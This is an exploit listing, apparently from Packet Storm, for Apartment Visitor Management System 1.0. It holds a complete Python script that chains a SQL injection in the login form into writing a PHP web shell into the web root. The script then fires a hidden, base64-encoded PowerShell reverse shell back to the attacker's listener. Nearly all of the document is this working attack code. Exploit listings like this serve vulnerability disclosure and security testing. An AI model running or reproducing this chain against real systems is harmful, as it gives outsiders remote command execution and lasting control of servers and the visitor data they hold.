Apartment Visitor Management System 1.0 Shell Upload / SQL Injection

Apartment Visitor Management System version 1.0 suffers from a remote SQL injection vulnerability that allows for a shell upload.


MD5 | 2ea182061b9cf4d7e75a879b4e350ea6

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# Exploit Title: Apartment Visitor Management System (AVMS) 1.0 - SQLi to RCE
# Date: 2021-08-13
# Exploit Author: mari0x00
# Vendor Homepage: https://phpgurukul.com/apartment-visitors-management-system-using-php-and-mysql/
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=10395
# Version: 1.0
# Tested on: Windows 10 + XAMPP

#!/usr/bin/python3

import requests, socket, threading
import base64, time, sys

print(('''###########################################################''',"red"))
print(('''###########    AVMS SQLi to RCE by mari0x00    ############''',"red"))
print(('''###########################################################''',"red"))
print("")

URL = input("Provide URL for AVMS (e.g. 'http://localhost/avms/'): ") or 'http://localhost/avms/'
path = input("Provide path for shell upload (default 'C:\\xampp\\htdocs\\avms\\lol.php'): ") or 'C:\\xampp\\htdocs\\avms\\lol.php'
path = path.replace("\\", "\\\\")
rhost = input("Provide attacker IP: ") or "127.0.0.1"
rport = input("Provide attacker listening port: ") or "1337"


# sending webshell
payload = {"username": "admin' union select '<?php system(base64_decode($_GET[\"cmd\"]));?>' into outfile '" + path + "' -- 'a", "password": "test", "login": ''}
requests.post(URL, data=payload)


def shell(rhost, rport):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        s.bind((rhost, int(rport)))
    except socket.error as msg:
        print("Bind failed. Error Code : " + str(msg[0]) + " Message " + msg[1])
        sys.exit()

    s.settimeout(5)
    s.listen(5)
    print('[+] Waiting for connection..')

    conn = False
    command=''

    while conn == False:
        try:
            conn, addr = s.accept()
            print("Got a connection from " + addr[0] + ":" + str(addr[1]))
            conn.send('\n'.encode())
            time.sleep(1)
            print(conn.recv(0x10000).decode())
            while(command != 'exit'):
                command=input('')
                conn.send((command + '\n').encode())
                time.sleep(.3)
                res = conn.recv(0x10000)
                print(res.decode())
            s.close()
            sys.exit("[!] Program exited")
        except socket.timeout:
            pass


def start_shell(rhost, rport):
    revshell = "powershell -nop -NonI -W Hidden -Exec Bypass -c \"$client = New-Object System.Net.Sockets.TCPClient('" + rhost + "'," + rport + ");$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\""
    revshell = revshell.encode('ascii')
    revshell = base64.b64encode(revshell)
    revshell = revshell.decode('ascii')
    connection = requests.get(URL+"/lol.php?cmd=" + revshell)

print("[+] Starting to listen on port " + rport)
time.sleep(0.5)
threading.Thread(target=shell, args=(rhost, rport)).start()
time.sleep(2)
print("[+] Sending the reverse shell payload")
threading.Thread(target=start_shell, args=(rhost, rport)).start()

Source: packetstormsecurity.com
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